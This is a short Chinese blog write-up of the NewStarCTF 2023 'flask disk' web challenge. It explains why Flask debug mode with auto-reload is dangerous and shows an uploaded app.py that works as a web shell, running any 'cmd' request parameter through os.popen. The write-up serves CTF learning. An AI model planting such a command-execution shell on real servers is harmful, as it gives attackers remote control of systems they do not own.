NewStarCTF 2023 WEEK4|WEB flask disk

一个文件上传一个输入pin码一个文件列表

Flask 调试模式的风险
Flask 框架提供了调试模式,可以通过设置 app.debug = True 或 FLASK_ENV=development 来启用。启用调试模式后,Flask 会在代码更改时自动重载应用,并且会显示详细的错误信息,包括回溯(traceback)。这些功能对开发来说非常有用,但在生产环境中开启调试模式是非常危险的,因为:

调试 PIN 码: 开启调试模式的 Flask 应用会要求输入 PIN 码以防止未授权访问控制台,但如果攻击者能够获取这个 PIN 码,他们就可能执行任意代码。
自动重载: 调试模式下的自动重载功能允许代码更改立即生效。如果攻击者能够上传修改后的代码文件(如 app.py),就可以利用这个功能执行恶意代码。

我们上传一个可执行命令的app.py即可

from flask import Flask, request
import os

app = Flask(__name__)


@app.route('/')
def index():
    try:
        cmd = request.args.get('cmd')
        data = os.popen(cmd).read()
        return data
    except:
        pass

    return "1"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

posted @ 2024-08-01 19:58  DGhh  阅读(8)  评论(0编辑  收藏  举报